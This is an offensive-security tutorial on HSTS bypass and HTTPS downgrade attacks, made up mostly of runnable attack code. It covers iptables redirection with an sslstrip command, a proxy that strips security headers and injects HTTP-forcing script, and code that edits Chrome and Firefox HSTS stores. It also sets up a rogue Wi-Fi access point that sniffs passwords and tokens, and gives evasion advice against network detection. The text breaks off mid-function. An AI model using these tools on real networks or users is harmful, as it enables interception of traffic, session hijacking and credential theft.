HSTS Bypass and Downgrade Attacks
Understanding HSTS Bypass and Downgrade Attacks - HTTP Strict Transport Security Circumvention
What are HSTS Bypass and Downgrade Attacks?
Simple Definition: HSTS bypass and downgrade attacks involve circumventing HTTP Strict Transport Security mechanisms that force browsers to use HTTPS connections, enabling attackers to intercept encrypted traffic by forcing connections back to unencrypted HTTP.
Technical Definition: HSTS bypass and downgrade attacks exploit weaknesses in HTTP Strict Transport Security implementation, browser behavior, and subdomain handling to force HTTPS connections to downgrade to HTTP, enabling man-in-the-middle interception of traffic that should be protected by transport layer security.
Why HSTS Bypass Attacks Work
HSTS bypass attacks succeed by exploiting implementation gaps and protocol limitations:
- First-Visit Vulnerability: HSTS protection only applies after the first HTTPS visit to a domain
- Subdomain Policy Gaps: HSTS policies may not cover all subdomains comprehensively
- Browser Implementation Differences: Variations in HSTS enforcement across different browsers
- User Override Capabilities: Browser interfaces allowing users to bypass HSTS warnings
Attack Process Breakdown
Normal HSTS Protection
- Initial HTTPS Connection: User connects to website via HTTPS
- HSTS Header Receipt: Server sends Strict-Transport-Security header
- Browser Policy Storage: Browser stores HSTS policy for specified duration
- Automatic HTTPS Enforcement: Browser automatically upgrades HTTP requests to HTTPS
- Connection Security Maintained: All subsequent connections forced to use HTTPS
HSTS Bypass Attack Process
- HSTS Policy Analysis: Analyze target domain HSTS implementation and coverage gaps
- Bypass Vector Identification: Identify subdomains, first-visit scenarios, or policy weaknesses
- Traffic Interception Setup: Position for man-in-the-middle attack during bypass window
- HTTP Downgrade Execution: Force connections to HTTP during HSTS bypass opportunity
- Traffic Manipulation: Intercept and manipulate unencrypted HTTP communications
Real-World Impact
Enterprise Communication Interception: Bypass corporate HSTS policies to intercept internal communications
Banking and Financial Data Exposure: Circumvent financial institution HSTS protection for transaction interception
Session Hijacking and Authentication Bypass: Capture authentication credentials during HSTS bypass windows
Regulatory Compliance Violations: Expose sensitive data that should be protected by mandatory HTTPS policies
Long-term Persistent Access: Establish ongoing interception capabilities through HSTS policy manipulation
Technical Concepts
HSTS Implementation Mechanisms
HSTS Header Structure: Strict-Transport-Security header syntax and policy parameters Max-Age Directive: HSTS policy duration and browser storage mechanisms includeSubDomains Directive: Subdomain coverage and policy inheritance Preload Directive: HSTS preload list integration and browser preloading
HSTS Bypass Techniques
Subdomain Enumeration and Exploitation: Finding subdomains not covered by HSTS policies First-Visit Interception: Intercepting initial HTTP requests before HSTS policy establishment Policy Expiration Exploitation: Targeting domains during HSTS policy expiration periods Browser-Specific Bypass Methods: Exploiting browser-specific HSTS implementation weaknesses
Attack Vector Categories
Network-Level Interception: Positioning attacks to intercept traffic during bypass opportunities DNS Manipulation Integration: Combining DNS attacks with HSTS bypass for comprehensive control Social Engineering Components: User manipulation to bypass HSTS browser warnings Subdomain Certificate Attacks: Combining subdomain targeting with certificate manipulation
Technical Implementation
Prerequisites
Network Requirements:
- Network positioning for traffic interception during HSTS bypass windows
- Understanding of target domain HSTS policy implementation and coverage
- DNS manipulation capabilities for subdomain targeting
Essential Tools:
- SSLstrip+: Advanced HTTPS to HTTP downgrade tool
- Bettercap: Modern network attack framework with HSTS bypass modules
- MITMproxy: HTTP/HTTPS proxy with HSTS manipulation capabilities
- Burp Suite: Web security testing with HSTS analysis tools
Essential Command Sequence
Step 1: HSTS Policy Analysis and Reconnaissance
# Analyze target domain HSTS implementation
curl -I https://example.com | grep -i strict-transport-security
# Retrieves HSTS header from target domain
# Shows HSTS policy parameters and coverage
# Identifies policy duration and subdomain inclusion
# Check HSTS preload list status
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | jq .
# Queries HSTS preload list for domain status
# Shows preload eligibility and current status
# Identifies domains with preload protection
# Enumerate subdomains for HSTS policy gaps
subfinder -d example.com -silent | while read subdomain; do
echo "Checking HSTS for: $subdomain"
curl -I https://$subdomain 2>/dev/null | grep -i strict-transport-security || echo "No HSTS policy found"
done
# Enumerates subdomains and checks HSTS policies
# Identifies subdomains without HSTS protection
# Maps HSTS policy coverage gaps
Purpose: Comprehensively analyze HSTS implementation to identify bypass opportunities and policy coverage gaps.
Step 2: Advanced HSTS Bypass Framework
#!/usr/bin/env python3
import requests
import dns.resolver
import time
import threading
from urllib.parse import urlparse
import ssl
import socket
class HSTSBypassAnalyzer:
def __init__(self, target_domain):
self.target_domain = target_domain
self.subdomains = []
self.hsts_policies = {}
self.bypass_opportunities = []
def enumerate_subdomains(self, wordlist=None):
"""Enumerate subdomains for HSTS analysis"""
common_subdomains = [
'www', 'api', 'admin', 'mail', 'ftp', 'blog', 'shop', 'secure',
'login', 'portal', 'dashboard', 'app', 'mobile', 'dev', 'staging',
'test', 'beta', 'support', 'help', 'docs', 'cdn', 'img', 'static'
]
if wordlist:
with open(wordlist, 'r') as f:
common_subdomains.extend(f.read().strip().split('\n'))
discovered_subdomains = []
for subdomain in common_subdomains:
full_domain = f"{subdomain}.{self.target_domain}"
try:
# DNS resolution test
dns.resolver.resolve(full_domain, 'A')
discovered_subdomains.append(full_domain)
print(f"Subdomain discovered: {full_domain}")
except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer):
continue
except Exception as e:
print(f"DNS error for {full_domain}: {e}")
continue
self.subdomains = discovered_subdomains
return discovered_subdomains
def analyze_hsts_policies(self, domains=None):
"""Analyze HSTS policies for target domains"""
if domains is None:
domains = [self.target_domain] + self.subdomains
for domain in domains:
try:
# Test HTTPS connection and get headers
response = requests.get(f"https://{domain}", timeout=10, verify=False)
hsts_header = response.headers.get('Strict-Transport-Security', None)
if hsts_header:
# Parse HSTS header
policy = self.parse_hsts_header(hsts_header)
policy['domain'] = domain
policy['header_raw'] = hsts_header
self.hsts_policies[domain] = policy
print(f"HSTS policy found for {domain}: {hsts_header}")
else:
self.hsts_policies[domain] = None
print(f"No HSTS policy for {domain}")
# Mark as bypass opportunity
self.bypass_opportunities.append({
'domain': domain,
'bypass_type': 'no_hsts_policy',
'risk_level': 'high'
})
except requests.exceptions.SSLError:
print(f"SSL error for {domain} - potential bypass opportunity")
self.bypass_opportunities.append({
'domain': domain,
'bypass_type': 'ssl_error',
'risk_level': 'medium'
})
except Exception as e:
print(f"Error analyzing {domain}: {e}")
continue
return self.hsts_policies
def parse_hsts_header(self, header):
"""Parse HSTS header into structured policy"""
policy = {
'max_age': None,
'include_subdomains': False,
'preload': False
}
# Parse max-age
if 'max-age=' in header:
max_age_start = header.find('max-age=') + 8
max_age_end = header.find(';', max_age_start)
if max_age_end == -1:
max_age_end = len(header)
try:
policy['max_age'] = int(header[max_age_start:max_age_end].strip())
except ValueError:
policy['max_age'] = 0
# Check for includeSubDomains
if 'includeSubDomains' in header or 'includesubdomains' in header:
policy['include_subdomains'] = True
# Check for preload
if 'preload' in header:
policy['preload'] = True
return policy
def identify_bypass_opportunities(self):
"""Identify HSTS bypass opportunities"""
# Analyze collected policies for bypass opportunities
for domain, policy in self.hsts_policies.items():
if policy is None:
continue
# Check for short max-age (less than 1 year)
if policy['max_age'] and policy['max_age'] < 31536000:
self.bypass_opportunities.append({
'domain': domain,
'bypass_type': 'short_max_age',
'max_age_days': policy['max_age'] // 86400,
'risk_level': 'medium'
})
# Check for missing includeSubDomains
if not policy['include_subdomains']:
# Find subdomains not covered
for subdomain in self.subdomains:
if subdomain.endswith(f".{domain}") and subdomain not in self.hsts_policies:
self.bypass_opportunities.append({
'domain': subdomain,
'bypass_type': 'subdomain_not_covered',
'parent_domain': domain,
'risk_level': 'high'
})
# Check for missing preload
if not policy['preload']:
self.bypass_opportunities.append({
'domain': domain,
'bypass_type': 'not_preloaded',
'risk_level': 'medium'
})
# Sort opportunities by risk level
self.bypass_opportunities.sort(key=lambda x:
{'high': 3, 'medium': 2, 'low': 1}[x['risk_level']], reverse=True)
print(f"\nIdentified {len(self.bypass_opportunities)} HSTS bypass opportunities:")
for opp in self.bypass_opportunities:
print(f" {opp['domain']}: {opp['bypass_type']} (Risk: {opp['risk_level']})")
return self.bypass_opportunities
def test_first_visit_vulnerability(self, domain):
"""Test for first-visit HSTS vulnerability"""
try:
# Clear any existing HSTS policy (simulation)
print(f"Testing first-visit vulnerability for {domain}")
# Attempt HTTP connection first
try:
http_response = requests.get(f"http://{domain}", timeout=5, allow_redirects=False)
if http_response.status_code in [200, 404]:
print(f"HTTP connection successful to {domain} - First-visit vulnerability confirmed")
return True
elif http_response.status_code in [301, 302, 307, 308]:
location = http_response.headers.get('Location', '')
if location.startswith('https://'):
print(f"HTTP redirects to HTTPS for {domain}")
return False
except requests.exceptions.ConnectionError:
print(f"HTTP connection refused for {domain}")
return False
except Exception as e:
print(f"Error testing first-visit vulnerability for {domain}: {e}")
return False
return False
# Example usage
hsts_analyzer = HSTSBypassAnalyzer("example.com")
# Enumerate subdomains
subdomains = hsts_analyzer.enumerate_subdomains()
# Analyze HSTS policies
policies = hsts_analyzer.analyze_hsts_policies()
# Identify bypass opportunities
opportunities = hsts_analyzer.identify_bypass_opportunities()
# Test first-visit vulnerabilities
for opp in opportunities:
if opp['bypass_type'] == 'no_hsts_policy':
hsts_analyzer.test_first_visit_vulnerability(opp['domain'])
Step 3: SSLstrip+ Advanced HSTS Bypass Implementation
# Configure network positioning for HSTS bypass
echo 1 > /proc/sys/net/ipv4/ip_forward
# Enables IP forwarding for traffic redirection
# Required for man-in-the-middle positioning
# Allows traffic to flow through attacker system
# Set up iptables for traffic redirection
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
# Redirects HTTP and HTTPS traffic to SSLstrip+
# Creates transparent proxy for HSTS bypass
# Enables interception of both protocols
# Start SSLstrip+ with HSTS bypass capabilities
python2 sslstrip+ -a -k -f -l 10000
# -a: Strip HSTS headers from responses
# -k: Kill sessions that try to establish HTTPS
# -f: Force HTTP mode for HSTS-protected domains
# -l: Listen port for intercepted traffic
Advanced SSLstrip+ Alternative Implementation:
#!/usr/bin/env python3
import asyncio
import aiohttp
from aiohttp import web, ClientSession
import re
import ssl
from urllib.parse import urlparse, urljoin
import logging
class AdvancedHSTSBypass:
def __init__(self, listen_port=10000):
self.listen_port = listen_port
self.hsts_domains = set()
self.bypassed_domains = set()
self.session_cache = {}
async def handle_request(self, request):
"""Handle intercepted HTTP/HTTPS requests"""
# Extract request details
host = request.headers.get('Host', '')
method = request.method
path = request.path_qs
headers = dict(request.headers)
# Remove problematic headers
headers.pop('Host', None)
headers.pop('Connection', None)
try:
# Determine target URL
if request.url.scheme == 'https' or host in self.hsts_domains:
# Force HTTP for HSTS bypass
target_url = f"http://{host}{path}"
self.bypassed_domains.add(host)
print(f"HSTS bypass: Forcing HTTP for {host}")
else:
target_url = f"http://{host}{path}"
# Create session for backend request
async with ClientSession(
connector=aiohttp.TCPConnector(ssl=False),
timeout=aiohttp.ClientTimeout(total=30)
) as session:
# Make request to backend server
async with session.request(
method=method,
url=target_url,
headers=headers,
data=await request.read() if method in ['POST', 'PUT'] else None
) as response:
# Read response
content = await response.read()
response_headers = dict(response.headers)
# Modify response for HSTS bypass
modified_content, modified_headers = self.modify_response(
content, response_headers, host
)
# Return modified response
return web.Response(
body=modified_content,
status=response.status,
headers=modified_headers
)
except Exception as e:
print(f"Error handling request for {host}: {e}")
return web.Response(text="Error processing request", status=500)
def modify_response(self, content, headers, host):
"""Modify response to bypass HSTS protection"""
modified_headers = headers.copy()
# Remove HSTS header
modified_headers.pop('Strict-Transport-Security', None)
# Remove other security headers that might interfere
modified_headers.pop('Content-Security-Policy', None)
modified_headers.pop('X-Frame-Options', None)
# Modify content if it's HTML
content_type = headers.get('Content-Type', '').lower()
if 'text/html' in content_type:
try:
html_content = content.decode('utf-8', errors='ignore')
# Replace HTTPS URLs with HTTP
html_content = re.sub(r'https://', 'http://', html_content)
# Remove HTTPS upgrade scripts
html_content = re.sub(
r'<script[^>]*>.*?if.*?location\.protocol.*?https.*?</script>',
'', html_content, flags=re.DOTALL | re.IGNORECASE
)
# Inject HTTP enforcement script
http_enforcement_script = """
<script>
(function() {
// Override location.protocol to always return http:
Object.defineProperty(location, 'protocol', {
get: function() { return 'http:'; },
configurable: false
});
// Intercept and modify HTTPS redirects
var originalReplace = location.replace;
location.replace = function(url) {
if (url.startsWith('https://')) {
url = url.replace('https://', 'http://');
}
originalReplace.call(this, url);
};
})();
</script>
"""
# Inject before closing head tag
if '</head>' in html_content:
html_content = html_content.replace('</head>',
http_enforcement_script + '</head>')
else:
html_content = http_enforcement_script + html_content
content = html_content.encode('utf-8')
modified_headers['Content-Length'] = str(len(content))
print(f"Modified HTML content for HSTS bypass: {host}")
except Exception as e:
print(f"Error modifying HTML content: {e}")
return content, modified_headers
async def start_bypass_proxy(self):
"""Start HSTS bypass proxy server"""
app = web.Application()
app.router.add_route('*', '/{path:.*}', self.handle_request)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '0.0.0.0', self.listen_port)
await site.start()
print(f"HSTS bypass proxy started on port {self.listen_port}")
print("Configure iptables to redirect traffic:")
print(f"iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port {self.listen_port}")
print(f"iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port {self.listen_port}")
# Keep server running
try:
while True:
await asyncio.sleep(3600)
except KeyboardInterrupt:
print("HSTS bypass proxy stopped")
# Example usage
async def main():
bypass_proxy = AdvancedHSTSBypass(10000)
await bypass_proxy.start_bypass_proxy()
# Run the bypass proxy
# asyncio.run(main())
Step 4: Subdomain HSTS Bypass Exploitation
#!/usr/bin/env python3
import dns.resolver
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor
class SubdomainHSTSBypass:
def __init__(self, target_domain):
self.target_domain = target_domain
self.vulnerable_subdomains = []
self.bypass_sessions = {}
def discover_vulnerable_subdomains(self, subdomain_wordlist):
"""Discover subdomains vulnerable to HSTS bypass"""
def test_subdomain_hsts(subdomain):
"""Test individual subdomain for HSTS policy"""
full_domain = f"{subdomain}.{self.target_domain}"
try:
# Check DNS resolution
dns.resolver.resolve(full_domain, 'A')
# Test HTTP connection (should fail if HSTS is properly implemented)
try:
http_response = requests.get(f"http://{full_domain}",
timeout=5, allow_redirects=False)
if http_response.status_code == 200:
print(f"HTTP accessible: {full_domain} - HSTS bypass opportunity")
self.vulnerable_subdomains.append(full_domain)
return True
except requests.exceptions.ConnectionError:
pass # Expected for properly protected domains
# Test HTTPS for HSTS header
try:
https_response = requests.get(f"https://{full_domain}",
timeout=5, verify=False)
hsts_header = https_response.headers.get('Strict-Transport-Security')
if not hsts_header:
print(f"No HSTS header: {full_domain} - bypass opportunity")
self.vulnerable_subdomains.append(full_domain)
return True
else:
# Check if includeSubDomains is missing
if 'includeSubDomains' not in hsts_header:
print(f"HSTS without includeSubDomains: {full_domain}")
self.vulnerable_subdomains.append(full_domain)
return True
except Exception:
pass
except dns.resolver.NXDOMAIN:
pass # Subdomain doesn't exist
except Exception as e:
print(f"Error testing {full_domain}: {e}")
return False
# Load subdomain wordlist
subdomains = []
try:
with open(subdomain_wordlist, 'r') as f:
subdomains = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
# Default subdomain list
subdomains = [
'www', 'api', 'admin', 'mail', 'blog', 'shop', 'secure',
'login', 'app', 'mobile', 'dev', 'test', 'staging'
]
# Test subdomains in parallel
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(test_subdomain_hsts, subdomains)
print(f"Found {len(self.vulnerable_subdomains)} vulnerable subdomains")
return self.vulnerable_subdomains
def exploit_subdomain_bypass(self, subdomain):
"""Exploit HSTS bypass on vulnerable subdomain"""
bypass_session = {
'domain': subdomain,
'start_time': time.time(),
'intercepted_requests': [],
'session_cookies': {}
}
def intercept_subdomain_traffic():
"""Intercept traffic to vulnerable subdomain"""
while True:
try:
# Simulate traffic interception
# Real implementation would integrate with proxy
# Monitor for interesting requests
response = requests.get(f"http://{subdomain}", timeout=5)
# Extract session cookies
for cookie in response.cookies:
bypass_session['session_cookies'][cookie.name] = cookie.value
print(f"Session cookie intercepted from {subdomain}: {cookie.name}={cookie.value}")
# Store request details
request_details = {
'timestamp': time.time(),
'url': f"http://{subdomain}",
'status_code': response.status_code,
'headers': dict(response.headers)
}
bypass_session['intercepted_requests'].append(request_details)
time.sleep(30) # Check every 30 seconds
except Exception as e:
print(f"Error intercepting traffic for {subdomain}: {e}")
break
# Start background interception
intercept_thread = threading.Thread(target=intercept_subdomain_traffic, daemon=True)
intercept_thread.start()
self.bypass_sessions[subdomain] = bypass_session
print(f"Started HSTS bypass exploitation for {subdomain}")
return bypass_session
def maintain_bypass_persistence(self, subdomain):
"""Maintain persistent HSTS bypass on subdomain"""
persistence_techniques = [
self.cookie_injection_persistence,
self.dns_cache_persistence,
self.browser_cache_persistence
]
for technique in persistence_techniques:
try:
technique(subdomain)
except Exception as e:
print(f"Persistence technique failed for {subdomain}: {e}")
def cookie_injection_persistence(self, subdomain):
"""Use cookie injection for HSTS bypass persistence"""
# Inject cookies that force HTTP behavior
persistent_cookies = {
'force_http': '1',
'bypass_https': 'true',
'protocol_override': 'http'
}
for name, value in persistent_cookies.items():
print(f"Injecting persistent cookie for {subdomain}: {name}={value}")
# Real implementation would inject these through proxy
def dns_cache_persistence(self, subdomain):
"""Use DNS cache manipulation for persistence"""
print(f"Implementing DNS cache persistence for {subdomain}")
# Real implementation would:
# 1. Poison local DNS cache
# 2. Set up local DNS server
# 3. Redirect subdomain to HTTP-only responses
def browser_cache_persistence(self, subdomain):
"""Use browser cache manipulation for persistence"""
print(f"Implementing browser cache persistence for {subdomain}")
# Real implementation would:
# 1. Cache HTTP versions of resources
# 2. Set long cache expiry times
# 3. Inject cache-control headers
# Example usage
subdomain_bypass = SubdomainHSTSBypass("example.com")
# Discover vulnerable subdomains
vulnerable = subdomain_bypass.discover_vulnerable_subdomains("subdomains.txt")
# Exploit discovered vulnerabilities
for subdomain in vulnerable:
bypass_session = subdomain_bypass.exploit_subdomain_bypass(subdomain)
subdomain_bypass.maintain_bypass_persistence(subdomain)
Step 5: Browser-Specific HSTS Bypass Techniques
#!/usr/bin/env python3
import json
import sqlite3
import os
from pathlib import Path
import platform
class BrowserHSTSBypass:
def __init__(self):
self.browser_profiles = self.detect_browser_profiles()
self.hsts_databases = {}
def detect_browser_profiles(self):
"""Detect installed browsers and their profile locations"""
system = platform.system()
profiles = {}
if system == "Windows":
profiles = {
'chrome': os.path.expandvars(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default'),
'firefox': self.find_firefox_profile_windows(),
'edge': os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Edge\User Data\Default')
}
elif system == "Darwin": # macOS
profiles = {
'chrome': os.path.expanduser('~/Library/Application Support/Google/Chrome/Default'),
'firefox': self.find_firefox_profile_macos(),
'safari': os.path.expanduser('~/Library/Safari')
}
elif system == "Linux":
profiles = {
'chrome': os.path.expanduser('~/.config/google-chrome/Default'),
'firefox': self.find_firefox_profile_linux(),
'chromium': os.path.expanduser('~/.config/chromium/Default')
}
# Filter existing profiles
existing_profiles = {}
for browser, path in profiles.items():
if path and os.path.exists(path):
existing_profiles[browser] = path
print(f"Found {browser} profile: {path}")
return existing_profiles
def find_firefox_profile_windows(self):
"""Find Firefox profile on Windows"""
firefox_path = os.path.expandvars(r'%APPDATA%\Mozilla\Firefox\Profiles')
if os.path.exists(firefox_path):
for profile in os.listdir(firefox_path):
if profile.endswith('.default') or profile.endswith('.default-release'):
return os.path.join(firefox_path, profile)
return None
def find_firefox_profile_macos(self):
"""Find Firefox profile on macOS"""
firefox_path = os.path.expanduser('~/Library/Application Support/Firefox/Profiles')
if os.path.exists(firefox_path):
for profile in os.listdir(firefox_path):
if profile.endswith('.default') or profile.endswith('.default-release'):
return os.path.join(firefox_path, profile)
return None
def find_firefox_profile_linux(self):
"""Find Firefox profile on Linux"""
firefox_path = os.path.expanduser('~/.mozilla/firefox')
if os.path.exists(firefox_path):
for profile in os.listdir(firefox_path):
if profile.endswith('.default') or profile.endswith('.default-release'):
return os.path.join(firefox_path, profile)
return None
def analyze_chrome_hsts_database(self, profile_path):
"""Analyze Chrome HSTS database"""
hsts_db_path = os.path.join(profile_path, 'TransportSecurity')
if not os.path.exists(hsts_db_path):
print(f"Chrome HSTS database not found: {hsts_db_path}")
return {}
try:
# Chrome stores HSTS data in JSON format
with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
hsts_data = json.load(f)
hsts_entries = {}
# Parse HSTS entries
if 'sts' in hsts_data:
for domain, policy in hsts_data['sts'].items():
hsts_entries[domain] = {
'expiry': policy.get('expiry', 0),
'include_subdomains': policy.get('include_subdomains', False),
'mode': policy.get('mode', 'force-https')
}
print(f"Chrome HSTS entry: {domain} - Expires: {policy.get('expiry', 0)}")
return hsts_entries
except Exception as e:
print(f"Error analyzing Chrome HSTS database: {e}")
return {}
def modify_chrome_hsts_database(self, profile_path, target_domains):
"""Modify Chrome HSTS database to remove protection"""
hsts_db_path = os.path.join(profile_path, 'TransportSecurity')
backup_path = hsts_db_path + '.backup'
try:
# Backup original database
import shutil
shutil.copy2(hsts_db_path, backup_path)
print(f"Backup created: {backup_path}")
# Load HSTS database
with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
hsts_data = json.load(f)
# Remove HSTS entries for target domains
if 'sts' in hsts_data:
for domain in target_domains:
if domain in hsts_data['sts']:
del hsts_data['sts'][domain]
print(f"Removed HSTS entry for: {domain}")
# Also remove wildcard entries
wildcard_domain = f"*.{domain}"
if wildcard_domain in hsts_data['sts']:
del hsts_data['sts'][wildcard_domain]
print(f"Removed HSTS wildcard entry for: {wildcard_domain}")
# Write modified database
with open(hsts_db_path, 'w', encoding='utf-8') as f:
json.dump(hsts_data, f, indent=2)
print(f"Modified Chrome HSTS database: {hsts_db_path}")
return True
except Exception as e:
print(f"Error modifying Chrome HSTS database: {e}")
return False
def analyze_firefox_hsts_database(self, profile_path):
"""Analyze Firefox HSTS database"""
hsts_db_path = os.path.join(profile_path, 'SiteSecurityServiceState.txt')
if not os.path.exists(hsts_db_path):
print(f"Firefox HSTS database not found: {hsts_db_path}")
return {}
hsts_entries = {}
try:
with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
parts = line.split('\t')
if len(parts) >= 3:
domain = parts[0]
expiry = parts[1]
flags = parts[2]
hsts_entries[domain] = {
'expiry': expiry,
'flags': flags,
'include_subdomains': '1' in flags
}
print(f"Firefox HSTS entry: {domain} - Expires: {expiry}")
return hsts_entries
except Exception as e:
print(f"Error analyzing Firefox HSTS database: {e}")
return {}
def modify_firefox_hsts_database(self, profile_path, target_domains):
"""Modify Firefox HSTS database to remove protection"""
hsts_db_path = os.path.join(profile_path, 'SiteSecurityServiceState.txt')
backup_path = hsts_db_path + '.backup'
try:
# Backup original database
import shutil
shutil.copy2(hsts_db_path, backup_path)
print(f"Backup created: {backup_path}")
# Read and filter HSTS entries
filtered_lines = []
with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if line.startswith('#') or not line:
filtered_lines.append(line)
continue
parts = line.split('\t')
if len(parts) >= 1:
domain = parts[0]
# Skip target domains
if any(target in domain for target in target_domains):
print(f"Removed Firefox HSTS entry for: {domain}")
continue
filtered_lines.append(line)
# Write filtered database
with open(hsts_db_path, 'w', encoding='utf-8') as f:
for line in filtered_lines:
f.write(line + '\n')
print(f"Modified Firefox HSTS database: {hsts_db_path}")
return True
except Exception as e:
print(f"Error modifying Firefox HSTS database: {e}")
return False
def bypass_browser_hsts(self, target_domains, browsers=None):
"""Bypass HSTS protection in specified browsers"""
if browsers is None:
browsers = list(self.browser_profiles.keys())
results = {}
for browser in browsers:
if browser not in self.browser_profiles:
print(f"Browser profile not found: {browser}")
continue
profile_path = self.browser_profiles[browser]
try:
if browser in ['chrome', 'chromium', 'edge']:
# Analyze existing HSTS entries
existing_entries = self.analyze_chrome_hsts_database(profile_path)
# Modify database
success = self.modify_chrome_hsts_database(profile_path, target_domains)
results[browser] = success
elif browser == 'firefox':
# Analyze existing HSTS entries
existing_entries = self.analyze_firefox_hsts_database(profile_path)
# Modify database
success = self.modify_firefox_hsts_database(profile_path, target_domains)
results[browser] = success
else:
print(f"HSTS bypass not implemented for: {browser}")
results[browser] = False
except Exception as e:
print(f"Error bypassing HSTS for {browser}: {e}")
results[browser] = False
return results
def restore_hsts_databases(self, browsers=None):
"""Restore original HSTS databases from backups"""
if browsers is None:
browsers = list(self.browser_profiles.keys())
for browser in browsers:
if browser not in self.browser_profiles:
continue
profile_path = self.browser_profiles[browser]
if browser in ['chrome', 'chromium', 'edge']:
hsts_db_path = os.path.join(profile_path, 'TransportSecurity')
backup_path = hsts_db_path + '.backup'
elif browser == 'firefox':
hsts_db_path = os.path.join(profile_path, 'SiteSecurityServiceState.txt')
backup_path = hsts_db_path + '.backup'
else:
continue
if os.path.exists(backup_path):
try:
import shutil
shutil.copy2(backup_path, hsts_db_path)
print(f"Restored {browser} HSTS database from backup")
except Exception as e:
print(f"Error restoring {browser} HSTS database: {e}")
# Example usage
browser_bypass = BrowserHSTSBypass()
# Target domains for HSTS bypass
target_domains = ['example.com', 'secure.example.com', 'api.example.com']
# Bypass HSTS protection
results = browser_bypass.bypass_browser_hsts(target_domains)
print("\nHSTS bypass results:")
for browser, success in results.items():
status = "SUCCESS" if success else "FAILED"
print(f" {browser}: {status}")
# Restore databases when done (for cleanup)
# browser_bypass.restore_hsts_databases()
Attack Variations
Public WiFi HSTS Bypass
#!/usr/bin/env python3
import threading
import time
from scapy.all import *
class PublicWiFiHSTSBypass:
def __init__(self, interface="wlan0"):
self.interface = interface
self.captive_portal_bypass = True
self.target_networks = []
def setup_rogue_access_point(self, ssid="Free_WiFi"):
"""Set up rogue access point for HSTS bypass"""
# Configure rogue AP
ap_config = f"""
interface={self.interface}
driver=nl80211
ssid={ssid}
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=0
"""
with open('/tmp/hostapd.conf', 'w') as f:
f.write(ap_config)
print(f"Rogue access point configured: {ssid}")
# Start hostapd (would need actual implementation)
# subprocess.run(['hostapd', '/tmp/hostapd.conf'])
def implement_captive_portal_bypass(self):
"""Implement captive portal for HSTS bypass"""
portal_html = """
<!DOCTYPE html>
<html>
<head>
<title>WiFi Access Required</title>
<script>
// Force HTTP protocol
if (location.protocol === 'https:') {
location.replace(location.href.replace('https:', 'http:'));
}
// Override HTTPS redirects
window.addEventListener('beforeunload', function() {
if (location.protocol === 'https:') {
location.replace(location.href.replace('https:', 'http:'));
}
});
</script>
</head>
<body>
<h2>Free WiFi Access</h2>
<p>Click Continue to access the internet</p>
<form action="/connect" method="post">
<button type="submit">Continue</button>
</form>
</body>
</html>
"""
return portal_html
def monitor_hsts_bypass_success(self):
"""Monitor for successful HSTS bypass attempts"""
def packet_handler(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):
if packet[TCP].dport == 80: # HTTP traffic
payload = packet[Raw].load.decode('utf-8', errors='ignore')
# Look for sensitive data in HTTP traffic
if any(keyword in payload.lower() for keyword in
['password', 'login', 'token', 'session']):
print(f"Sensitive data intercepted via HSTS bypass: {payload[:100]}...")
print("Monitoring for HSTS bypass success...")
sniff(iface=self.interface, prn=packet_handler, filter="tcp port 80")
# Example usage
wifi_bypass = PublicWiFiHSTSBypass("wlan0")
wifi_bypass.setup_rogue_access_point("Corporate_Guest")
portal_html = wifi_bypass.implement_captive_portal_bypass()
Common Issues and Solutions
Problem: Modern browsers enforcing HSTS preload lists
- Solution: Target subdomains not in preload lists, focus on first-visit vulnerabilities, use browser database manipulation
Problem: HSTS policies with long max-age values
- Solution: Use browser HSTS database modification, target subdomain gaps, implement persistent bypass techniques
Problem: Certificate Transparency monitoring detecting bypass attempts
- Solution: Use legitimate certificates, focus on HTTP downgrade rather than certificate replacement, implement stealth techniques
Problem: Network security controls detecting HTTP downgrade attempts
- Solution: Use gradual downgrade techniques, implement bypass during legitimate HTTP traffic, use timing-based attacks
Advanced Techniques
HSTS Bypass Automation Framework
#!/usr/bin/env python3
import asyncio
import aiohttp
from datetime import datetime, timedelta
import json
class HSTSBypassAutomation:
def __init__(self):
self.target_domains = []
self.bypass_opportunities = {}
self.active_bypasses = {}
async def automated_hsts_reconnaissance(self, domain_list):
"""Automated HSTS reconnaissance across multiple domains"""
async with aiohttp.ClientSession() as session:
tasks = []
for domain in domain_list:
task = self.analyze_domain_hsts(session, domain)
tasks.append(task)
results = await asyncio.gather(*tasks, return_exceptions=True)
for domain, result in zip(domain_list, results):
if isinstance(result, dict):
self.bypass_opportunities[domain] = result
print(f"HSTS analysis completed for {domain}: {len(result)} opportunities")
return self.bypass_opportunities
async def analyze_domain_hsts(self, session, domain):
"""Analyze individual domain for HSTS bypass opportunities"""
opportunities = []
try:
# Test main domain
async with session.get(f"https://{domain}", ssl=False, timeout=10) as response:
hsts_header = response.headers.get('Strict-Transport-Security')
if not hsts_header:
opportunities.append({
'type': 'no_hsts_policy',
'domain': domain,
'risk': 'high'
})
else:
# Parse HSTS policy for weaknesses
if 'includeSubDomains' not in hsts_header:
opportunities.append({
'type': 'subdomain_gap',
'domain': domain,
'risk': 'medium'
})
# Check max-age
max_age = self.extract_max_age(hsts_header)
if max_age < 31536000: # Less than 1 year
opportunities.append({
'type': 'short_max_age',
'domain': domain,
'max_age_days': max_age // 86400,
'risk': 'medium'
})
# Test HTTP connection
try:
async with session.get(f"http://{domain}", timeout=5, allow_redirects=False) as response:
if response.status == 200:
opportunities.append({
'type': 'http_accessible',
'domain': domain,
'risk': 'high'
